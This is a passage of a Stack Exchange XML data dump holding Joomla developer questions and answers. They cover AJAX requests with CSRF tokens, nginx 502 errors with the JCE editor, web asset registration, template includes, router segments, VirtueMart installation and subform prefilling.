with.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;async function addToTrolley(fred) {&#xA;    let url = 'index.php?option=com_mycomponent&amp;amp;task=mycontroller.incoming&amp;amp;format=json';&#xA;    const token = Joomla.getOptions('csrf.token', '');&#xA;    let data = new URLSearchParams();&#xA;    data.append('payload', fred);&#xA;    data.append(token, 1);&#xA;&#xA;    const options = {&#xA;        method: 'POST',&#xA;        body: data&#xA;    }&#xA;&#xA;    //makes request to My Component to retrieve the item record.&#xA;    let response = await fetch(url, options);&#xA;&#xA;    if (!response.ok) {&#xA;        throw new Error(Joomla.Text._('COM_MYCOMPONENT_JS_ERROR_STATUS') + `${response.status}`);&#xA;    } else {&#xA;        results = await response.json();&#xA;        console.log(results);&#xA;        return results;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In mycontroller I receive the options from the Input, call up my model to get the data and then return it to the caller.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function incoming()&#xA;{ &#xA;    // Get the details of the required data&#xA;    $payload = $this-&amp;gt;app-&amp;gt;input-&amp;gt;get('payload', '', 'string');&#xA;    $options = json_decode($payload, true);&#xA;    &#xA;    // create an instance of the Model&#xA;    $model   = parent::getModel('mymodel','Site', $options);&#xA;    &#xA;    // Get message from model to be passed back to the caller.&#xA;    $response = new JsonResponse($model-&amp;gt;data);&#xA;    echo $response;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With Joomla 4 you also have the option of creating an API Application for your extension(s) that provides the similar  functionality. However the API connection currently requires the Token of a Super User to provide authentication so I prefer not to use that approach on a public facing page where naughty people could access the Token stored in your JS and and only use it for internal processes where registered users already have a high level of access.&lt;/p&gt;&#xA;&lt;p&gt;It is a use case type decision of which approach to use in each circumstance, but in Joomla 4 I don't see a need for com_ajax in the work I have done.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-12-12T23:18:17.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32628" PostTypeId="1" CreationDate="2022-12-13T06:49:34.797" Score="1" ViewCount="19" Body="&lt;p&gt;On one of my servers (Plesk on Linode) I have several Joomla sites.&#xA;Sometime in the past couple weeks we are no longer able to select (or upload) an intro or full article image to an article. It is happening on all J3 sites on this server (not on the J4 sites).&lt;/p&gt;&#xA;&lt;p&gt;Specifically when you click the SELECT button next to the intro image entry box on the article's Images and Links tab, the normal pop-up/modal window appears however, the folder ad files areas are all empty. And the Cancel/Refresh/Insert buttons don't do anything.&lt;/p&gt;&#xA;&lt;p&gt;This is obviously a server configuration issue in some way but have yet to figure out example where the issue might be.&lt;/p&gt;&#xA;&lt;p&gt;The server logs for one of the domains from the point that we click the SELECT button to select an image (and the pop-up/modal opens) is listed below. Which seems to show that it is a problem with the server and specifically with nginx.&lt;/p&gt;&#xA;&lt;p&gt;Additionally we are noticing problems the JCE Editor (nothing is displaying). And were getting similar nginx errors (connection refused).&lt;/p&gt;&#xA;&lt;p&gt;Has anyone here run across this sort of problem and/or errors?&#xA;We have several other similarly configured servers that are having no problems.&#xA;And it appears that the problems are limited to Joomla. We have several other web systems running on different domains on the same server and none of them are having problems. Just the J3 sites are having issues.(All are running J3.10.11).&lt;/p&gt;&#xA;&lt;p&gt;Any ideas or even thoughts of where to look would be welcome.&lt;/p&gt;&#xA;&lt;p&gt;Here is the server logs from the point of the error happening (Domain and local IP addresses changed to protect the not-so-innocent server :-) )&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;2022-12-13 06:21:13 &#xA;Access  &#xA;63.228.99.999 (MY LOCAL IP ADDRESS) &#xA;200 &#xA;GET /administrator/index.php?option=com_jce&amp;amp;task=plugin.loadlanguages&amp;amp;lang=en&amp;amp;plugin=browser&amp;amp;standalone=1&amp;amp;context=22&amp;amp;15f462eea0ca946548e59238cbe7080b=1 HTTP/1.0    https://MYDOMAIN/administrator/index.php?option=com_jce&amp;amp;task=plugin.display&amp;amp;element=jform_images_image_intro&amp;amp;mediatype=images&amp;amp;converted=1&amp;amp;context=22&amp;amp;plugin=browser&amp;amp;standalone=1&amp;amp;15f462eea0ca946548e59238cbe7080b=1&amp;amp;client=1&amp;amp;fieldid=jform_images_image_intro&amp;amp;ismoo=0&amp;amp;folder=   &#xA;Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0    &#xA;3.68 K  &#xA;Apache SSL/TLS access&#xA;&#xA;2022-12-13 06:21:13 &#xA;Error   &#xA;63.228.99.999 (MY LOCAL IP ADDRESS) &#xA;502 &#xA;GET /components/com_jce/editor/tiny_mce/plugins/browser/css/browser.min.css?363878d4dc65b6f2a6ef4aa6bd94c6a4 HTTP/2.0   &#xA;https://MYDOMAIN/administrator/index.php?option=com_jce&amp;amp;task=plugin.display&amp;amp;element=jform_images_image_intro&amp;amp;mediatype=images&amp;amp;converted=1&amp;amp;context=22&amp;amp;plugin=browser&amp;amp;standalone=1&amp;amp;15f462eea0ca946548e59238cbe7080b=1&amp;amp;client=1&amp;amp;fieldid=jform_images_image_intro&amp;amp;ismoo=0&amp;amp;folder=   Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0    &#xA;150     &#xA;nginx SSL/TLS access&#xA;&#xA;2022-12-13 06:21:13 &#xA;Error   &#xA;63.228.99.999 (MY LOCAL IP ADDRESS) &#xA;502 &#xA;GET /components/com_jce/editor/tiny_mce/plugins/browser/js/popup.min.js?f8f9cb75d3dc6e99d4554bdeb96849ee HTTP/2.0   &#xA;https://MYDOMAIN/administrator/index.php?option=com_jce&amp;amp;task=plugin.display&amp;amp;element=jform_images_image_intro&amp;amp;mediatype=images&amp;amp;converted=1&amp;amp;context=22&amp;amp;plugin=browser&amp;amp;standalone=1&amp;amp;15f462eea0ca946548e59238cbe7080b=1&amp;amp;client=1&amp;amp;fieldid=jform_images_image_intro&amp;amp;ismoo=0&amp;amp;folder=   Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0    &#xA;150     &#xA;nginx SSL/TLS access&#xA;&#xA;2022-12-13 06:21:13 &#xA;Error   &#xA;63.228.99.999 (MY LOCAL IP ADDRESS) &#xA;502 &#xA;GET /components/com_jce/editor/tiny_mce/plugins/browser/js/browser.js?d2b6d1d9821167cecdce5b93948a45e9 HTTP/2.0 &#xA;https://MYDOMAIN/administrator/index.php?option=com_jce&amp;amp;task=plugin.display&amp;amp;element=jform_images_image_intro&amp;amp;mediatype=images&amp;amp;converted=1&amp;amp;context=22&amp;amp;plugin=browser&amp;amp;standalone=1&amp;amp;15f462eea0ca946548e59238cbe7080b=1&amp;amp;client=1&amp;amp;fieldid=jform_images_image_intro&amp;amp;ismoo=0&amp;amp;folder=   Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0    150     nginx SSL/TLS access&#xA;&#xA;2022-12-13 06:21:13 &#xA;Error   &#xA;63.228.99.999 (MY LOCAL IP ADDRESS) &#xA;27342#0: *1962880 connect() failed (111: Connection refused) while connecting to upstream               &#xA;nginx error&#xA;&#xA;2022-12-13 06:21:13 &#xA;Error   &#xA;63.228.99.999 (MY LOCAL IP ADDRESS) &#xA;27342#0: *1962880 connect() failed (111: Connection refused) while connecting to upstream               &#xA;nginx error&#xA;&#xA;2022-12-13 06:21:13 &#xA;Error   &#xA;63.228.99.999 (MY LOCAL IP ADDRESS) &#xA;27342#0: *1962880 connect() failed (111: Connection refused) while connecting to upstream               &#xA;nginx error&#xA;&#xA;2022-12-13 06:21:14 &#xA;Access  &#xA;63.228.99.999 (MY LOCAL IP ADDRESS) &#xA;200 &#xA;GET /components/com_jce/editor/libraries/fonts/wfeditor.woff HTTP/1.0   &#xA;https://MYDOMAIN/components/com_jce/editor/libraries/css/plugin.min.css?6bdb53c47cde613b1f4e5d6e909815aa    Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0    &#xA;632     &#xA;Apache SSL/TLS access&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12624" LastActivityDate="2022-12-13T21:42:48.573" Title="Getting server errors when trying to add an intro/full article image to article (J3)" Tags="|media-manager|nginx|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32630" PostTypeId="1" AcceptedAnswerId="32633" CreationDate="2022-12-13T16:41:46.183" Score="3" ViewCount="536" Body="&lt;p&gt;I'm a little confused on the documentation for adding assets to my component, and getting an error message:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;There is no &amp;quot;com_supersite.supersite&amp;quot; asset of a &amp;quot;script&amp;quot; type in the registry.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I have a media reference in my manifest file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;media destination=&amp;quot;com_supersite&amp;quot; folder=&amp;quot;media&amp;quot;&amp;gt;&#xA;    &amp;lt;file&amp;gt;joomla.assets.json&amp;lt;/file&amp;gt;&#xA;    &amp;lt;folder&amp;gt;css&amp;lt;/folder&amp;gt;&#xA;    &amp;lt;folder&amp;gt;js&amp;lt;/folder&amp;gt;&#xA;&amp;lt;/media&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My joomla.assets.json file, which I think should register my assets:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;$schema&amp;quot;: &amp;quot;https://developer.joomla.org/schemas/json-schema/web_assets.json&amp;quot;,&#xA;  &amp;quot;name&amp;quot;: &amp;quot;com_supersite&amp;quot;,&#xA;  &amp;quot;version&amp;quot;: &amp;quot;4.0.0&amp;quot;,&#xA;  &amp;quot;description&amp;quot;: &amp;quot;Joomla CMS&amp;quot;,&#xA;  &amp;quot;license&amp;quot;: &amp;quot;GPL-3.0-or-later&amp;quot;,&#xA;  &amp;quot;assets&amp;quot;: [&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_supersite.supersite&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_supersite/supersite.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;com_supersite.supersite&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_supersite/supersite.css&amp;quot;&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then trying to use the script asset in my component view:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;use Joomla\CMS\Factory;&#xA;&#xA;\defined('_JEXEC') or die('Restricted access');&#xA;&#xA;&#xA;/** @var \Joomla\CMS\WebAsset\WebAssetManager $wa */&#xA;$wa = Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;&#xA;$wa-&amp;gt;useScript('com_supersite.supersite');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2022-12-24T16:35:22.527" Title="Joomla 4 WebAssetManager error" Tags="|joomla-4.x|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32631" PostTypeId="2" ParentId="32630" CreationDate="2022-12-13T17:17:49.070" Score="2" Body="&lt;p&gt;@Sharky, you were right to call my original answer incorrect. I wasn't paying enough attention to the names in the asset file compared to the error message received.&#xA;&lt;br&gt;&#xA;I updated the &lt;code&gt;joomla.asset.xml&lt;/code&gt; file, and now I don't need to register the scripts.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;$schema&amp;quot;: &amp;quot;https://developer.joomla.org/schemas/json-schema/web_assets.json&amp;quot;,&#xA;  &amp;quot;name&amp;quot;: &amp;quot;com_supersite&amp;quot;,&#xA;  &amp;quot;version&amp;quot;: &amp;quot;4.0.0&amp;quot;,&#xA;  &amp;quot;description&amp;quot;: &amp;quot;Joomla CMS&amp;quot;,&#xA;  &amp;quot;license&amp;quot;: &amp;quot;GPL-3.0-or-later&amp;quot;,&#xA;  &amp;quot;assets&amp;quot;: [&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;supersite&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_supersite/supersite.js&amp;quot;,&#xA;      &amp;quot;dependencies&amp;quot;: [&#xA;        &amp;quot;core&amp;quot;,&#xA;        &amp;quot;jquery&amp;quot;&#xA;      ],&#xA;      &amp;quot;attributes&amp;quot;: {&#xA;        &amp;quot;defer&amp;quot;: true&#xA;      }&#xA;    },&#xA;    {&#xA;      &amp;quot;name&amp;quot;: &amp;quot;supersite&amp;quot;,&#xA;      &amp;quot;type&amp;quot;: &amp;quot;style&amp;quot;,&#xA;      &amp;quot;uri&amp;quot;: &amp;quot;com_supersite/supersite.css&amp;quot;&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Component View:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;use Joomla\CMS\Factory;&#xA;use Joomla\CMS\HTML\HTMLHelper;&#xA;&#xA;\defined('_JEXEC') or die('Restricted access');&#xA;&#xA;&#xA;/** @var CMSApplication $app */&#xA;$app = Factory::getApplication();&#xA;&#xA;$wa = $app-&amp;gt;getDocument()-&amp;gt;getWebAssetManager();&#xA;&#xA;$wa-&amp;gt;useStyle('supersite')&#xA;    -&amp;gt;useScript('supersite');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2082" LastEditorUserId="2082" LastEditDate="2022-12-24T16:35:22.527" LastActivityDate="2022-12-24T16:35:22.527" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32632" PostTypeId="2" ParentId="32628" CreationDate="2022-12-13T19:45:44.253" Score="1" Body="&lt;p&gt;Well, it appears that this issue is specifically related to some conflict between JCE Editor and some configuration on the server.&#xA;After uninstalling JCE (and just using TinyMCE editor) the editor areas are working - both the content and the image selections. And there are no errors appearing in the server log.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, we had tried on one domain to use the Quantum Manager extension. That extension was having issues also and showing similar nginx errors.&lt;/p&gt;&#xA;&lt;p&gt;So it must be something with the add-in media managers (both JCE and Quantum manager) that are having conflicts with some setting on this server.&lt;/p&gt;&#xA;&lt;p&gt;As J3 is nearing end-of-life and as we haven't been able to pinpoint exactly what server configuration was causing this issue, we're just going to consider that we found a 'work-around' that should resolve the issue until we can upgrade to J4 (which doesn't appear to have the issue).&lt;/p&gt;&#xA;" OwnerUserId="12624" LastEditorUserId="12352" LastEditDate="2022-12-13T21:42:48.573" LastActivityDate="2022-12-13T21:42:48.573" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32633" PostTypeId="2" ParentId="32630" CreationDate="2022-12-13T20:05:51.540" Score="3" Body="&lt;p&gt;Per &lt;a href=&quot;https://docs.joomla.org/J4.x:Web_Assets#Register_an_asset&quot; rel=&quot;nofollow noreferrer&quot;&gt;documentation&lt;/a&gt;, the web asset registry file must be named &lt;code&gt;joomla.asset.json&lt;/code&gt;, not &lt;code&gt;joomla.assets.json&lt;/code&gt; to be loaded automatically.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-12-13T20:05:51.540" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32634" PostTypeId="1" AcceptedAnswerId="32640" CreationDate="2022-12-14T10:56:09.370" Score="0" ViewCount="72" Body="&lt;p&gt;I created Joomla template and tried to include a PHP script.&lt;/p&gt;&#xA;&lt;p&gt;My index.php code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die; &#xA;use Joomla\CMS\Uri\Uri;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;!doctype html&amp;gt;&#xA;&amp;lt;html&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;&#xA;&amp;lt;title&amp;gt;Untitled Page&amp;lt;/title&amp;gt;&#xA;&amp;lt;meta name=&amp;quot;generator&amp;quot; content=&amp;quot;WYSIWYG Web Builder 16 - http://www.wysiwygwebbuilder.com&amp;quot;&amp;gt;&#xA;&amp;lt;meta name=&amp;quot;viewport&amp;quot; content=&amp;quot;width=device-width, initial-scale=1.0&amp;quot;&amp;gt;&#xA;&amp;lt;link href=&amp;quot;index.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot;&amp;gt;&#xA;&amp;lt;?php&#xA;//$myHeader = $_SERVER['DOCUMENT_ROOT'].&amp;quot;/templates/&amp;quot;.$this-&amp;gt;template.&amp;quot;/script/header.php&amp;quot;;&#xA;&#xA;$myHeader = JPATH_SITE.&amp;quot;/templates/&amp;quot;.$this-&amp;gt;template.&amp;quot;/script/header.php&amp;quot;;&#xA;echo &amp;quot;&amp;lt;br&amp;gt;&amp;quot;.$myHeader;&#xA;include $myHeader&#xA;?&amp;gt;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;   &amp;lt;div id=&amp;quot;FlexContainer1&amp;quot;&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div id=&amp;quot;Layer1&amp;quot; style=&amp;quot;position:fixed;text-align:center;left:0;top:0;right:0;height:142px;z-index:4;left:0px; width:100%&amp;quot;&amp;gt;&#xA;      &amp;lt;div id=&amp;quot;Layer1_Container&amp;quot; style=&amp;quot;width:100%&amp;quot;&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;   &amp;lt;div id=&amp;quot;FlexContainer2&amp;quot;&amp;gt;&#xA;      &amp;lt;div id=&amp;quot;wb_FlexContainer3&amp;quot;&amp;gt;&#xA;         &amp;lt;div id=&amp;quot;FlexContainer3&amp;quot; style=&amp;quot;min-height:50px; &amp;quot;&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div id=&amp;quot;FlexContainer4&amp;quot;&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;div id=&amp;quot;wb_FlexContainer5&amp;quot;&amp;gt;&#xA;         &amp;lt;div id=&amp;quot;FlexContainer5&amp;quot; style=&amp;quot;min-height:50px;&amp;quot;&amp;gt;&#xA;         &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The &lt;code&gt;$_SERVER['DOCUMENT_ROOT']&lt;/code&gt; has a problem with the wrapper, so I commented it out. I surfed on the internet and found an article suggesting &lt;code&gt;JPATH_SITE&lt;/code&gt;, but then I got a &lt;code&gt;0 - Class &amp;quot;Uri&amp;quot; not found&lt;/code&gt; message. I surfed again and found information that I should use &lt;code&gt;use Joomla\CMS\Uri\Uri&lt;/code&gt;, but the problem still remains.&lt;/p&gt;&#xA;&lt;p&gt;this is my header.php codes&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;//defined('_JEXEC') or die; //sudah ada di wysiwyg head&#xA;//use Joomla\CMS\Uri\Uri; //sudah ada di wysiwyg head&#xA;&#xA;$myjquery = Uri::root().&amp;quot;templates/&amp;quot;.$this-&amp;gt;template.&amp;quot;/jquery-1.12.4.min.js&amp;quot;;&#xA;$myIndexCss = Uri::root().&amp;quot;templates/&amp;quot;.$this-&amp;gt;template.&amp;quot;/index.css&amp;quot;;&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;jdoc:include type=&amp;quot;head&amp;quot;/&amp;gt;&#xA;&#xA;&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;media/system/css/joomla-fontawesome.min.css&amp;quot;&amp;gt;&#xA;&amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;&amp;lt;?php echo $myIndexCss ?&amp;gt;&amp;quot;&amp;gt;&#xA;&#xA;&amp;lt;script src=&amp;quot;&amp;lt;?php echo $myjquery; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I use these codes before and work fine but not through inclusion, I mean these codes were written directly into index.php&lt;/p&gt;&#xA;" OwnerUserId="14531" LastEditorUserId="14531" LastEditDate="2022-12-16T05:53:35.237" LastActivityDate="2023-01-15T07:08:06.037" Title="0 - Class &quot;Uri&quot; not found" Tags="|templates|joomla-4.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32635" PostTypeId="1" CreationDate="2022-12-14T10:57:58.797" Score="0" ViewCount="77" Body="&lt;p&gt;My current working url is &lt;code&gt;example.com/order/?id=abcd&amp;amp;pass=1234&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want url like &lt;code&gt;example.com/order/abcd?pass=1234&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;After applying below codes in &lt;code&gt;ROOT/components/com_shop/src/Service/Router.php&lt;/code&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct(SiteApplication $app, AbstractMenu $menu)&#xA;{&#xA;    $order = new RouterViewConfiguration('order');&#xA;    $order-&amp;gt;setKey('id');&#xA;    $this-&amp;gt;registerView($order);&#xA;&#xA;    parent::__construct($app, $menu);&#xA;&#xA;    $this-&amp;gt;attachRule(new MenuRules($this));&#xA;    $this-&amp;gt;attachRule(new StandardRules($this));&#xA;    $this-&amp;gt;attachRule(new NomenuRules($this));&#xA;}&#xA;&#xA;public function getOrderSegment($id, $query)&#xA;{&#xA;    if (!strpos($id, ':')) {&#xA;        $db = Factory::getDbo();&#xA;        $dbquery = $db-&amp;gt;getQuery(true);&#xA;        $dbquery-&amp;gt;select($db-&amp;gt;quoteName('order_id'))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__orders'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('order_id') . ' = :id')&#xA;            -&amp;gt;bind(':id', $id, ParameterType::STRING);&#xA;        $db-&amp;gt;setQuery($dbquery);&#xA;&#xA;        $id .= ':' . $db-&amp;gt;loadResult();&#xA;    }&#xA;&#xA;    if ($this-&amp;gt;noIDs) {&#xA;        list($void, $segment) = explode(':', $id, 2);&#xA;&#xA;        return array($void =&amp;gt; $segment);&#xA;    }&#xA;&#xA;    return array($id =&amp;gt; $id);&#xA;}&#xA;&#xA;public function getOrderId($segment, $query)&#xA;{&#xA;    if ($this-&amp;gt;noIDs) {&#xA;        $db = Factory::getDbo();&#xA;        $dbquery = $db-&amp;gt;getQuery(true);&#xA;        $dbquery-&amp;gt;select($db-&amp;gt;quoteName('order_id'))&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__orders'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('order_id') . ' = :id')&#xA;            -&amp;gt;bind(':id', $segment);&#xA;            $db-&amp;gt;setQuery($dbquery);&#xA;&#xA;        return $db-&amp;gt;loadResult();&#xA;    }&#xA;&#xA;    return $segment;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It returns url like: &lt;code&gt;example.com/order?pass=1234&lt;/code&gt;, the id is completely gone and also it's showing 404 error.&lt;/p&gt;&#xA;&lt;p&gt;What should I modify/write in the Router.php to get url like &lt;code&gt;example.com/order/abcd?pass=1234&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Note: I did copy above codes from Joomla! core components. I'm still trying to learn Joomla! 4 Router.&lt;/p&gt;&#xA;" OwnerUserId="11474" LastActivityDate="2022-12-14T10:57:58.797" Title="How to remove a parameter name from url with Joomla 4 router" Tags="|joomla-4.x|router|" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32636" PostTypeId="1" AcceptedAnswerId="33331" CreationDate="2022-12-14T11:15:34.383" Score="0" ViewCount="30" Body="&lt;p&gt;I installed joomla4 latest version &lt;strong&gt;(Joomla_4.2.6-Stable-Full_Package.zip)&lt;/strong&gt; and I want to install VM4 &lt;strong&gt;(com_virtuemart.4.0.10.10767_package_or_extract.zip)&lt;/strong&gt; and my &lt;strong&gt;PHP version is 8&lt;/strong&gt; but the following error occurred on installation:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Table 'xxxxx_j4-new_db.p8cqq_virtuemart_configs' doesn't exist&lt;/li&gt;&#xA;&lt;li&gt;Package Install: There was an error installing an extension: com_virtuemart.4.0.10.10767.zip&lt;/li&gt;&#xA;&lt;li&gt;Error installing package&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;&lt;strong&gt;error image&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4KesQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4KesQ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13815" LastActivityDate="2023-09-06T16:13:27.360" Title="Virtuemart 4 installation error" Tags="|joomla-4.x|virtuemart|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32637" PostTypeId="1" AcceptedAnswerId="32638" CreationDate="2022-12-14T13:57:20.307" Score="3" ViewCount="74" Body="&lt;p&gt;Im trying to prefill my subform with datarows from the database.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;newcustomerform.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;&amp;lt;form addfieldprefix=&amp;quot;Mydestiny\Component\Mydestiny\Site\Field&amp;quot;&amp;gt;&#xA;    &amp;lt;fieldset&amp;gt;&#xA;        &amp;lt;field name=&amp;quot;id&amp;quot; type=&amp;quot;text&amp;quot; readonly=&amp;quot;true&amp;quot; class=&amp;quot;readonly&amp;quot; default=&amp;quot;0&amp;quot; description=&amp;quot;JGLOBAL_FIELD_ID_DESC&amp;quot;/&amp;gt;&#xA;&#xA;    &amp;lt;field name=&amp;quot;contacts&amp;quot; type=&amp;quot;subform&amp;quot;&#xA;               formsource=&amp;quot;components/com_mydestiny/forms/contacts.xml&amp;quot;&#xA;               labelclass=&amp;quot;control-label&amp;quot; multiple=&amp;quot;true&amp;quot; buttons=&amp;quot; &amp;quot;&#xA;               layout=&amp;quot;joomla.form.field.subform.repeatable-table&amp;quot; class=&amp;quot;uk-table uk-table-middle&amp;quot;&#xA;        /&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;contacts.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;        &amp;lt;form&amp;gt;&#xA;       &amp;lt;fieldset&amp;gt;&#xA;           &amp;lt;field name=&amp;quot;account&amp;quot; type=&amp;quot;radio&amp;quot; default=&amp;quot;0&amp;quot; label=&amp;quot;&amp;quot; description=&amp;quot;&amp;quot; class=&amp;quot;btn-group btn-group-yesno&amp;quot;&amp;gt;&#xA;              &amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;ja&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&amp;quot;0&amp;quot;&amp;gt;Nee&amp;lt;/option&amp;gt;&#xA;&#xA;        &amp;lt;/field&amp;gt;&#xA;    &amp;lt;/fieldset&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I tried this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$form       = Form::getInstance('com_mydestiny.newcustomerform', 'contacts', array('control' =&amp;gt; 'jform'));&#xA;$input      = Factory::getApplication()-&amp;gt;input;&#xA;$formValues = $input-&amp;gt;getArray(array(&#xA;    'jform' =&amp;gt; array(&#xA;        'contacts' =&amp;gt; 'array'&#xA;    )&#xA;));&#xA;&#xA;$prefillData = array(&amp;quot;contacts&amp;quot; =&amp;gt; array(&amp;quot;account&amp;quot; =&amp;gt; 1));&#xA;$form-&amp;gt;bind($prefillData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But that doesn't do anything.&lt;br/&gt;&#xA;Can anyone help me?&lt;/p&gt;&#xA;" OwnerUserId="16663" LastActivityDate="2022-12-15T09:49:12.677" Title="Prefill subform with data rows" Tags="|joomla-4.x|form|subform|" 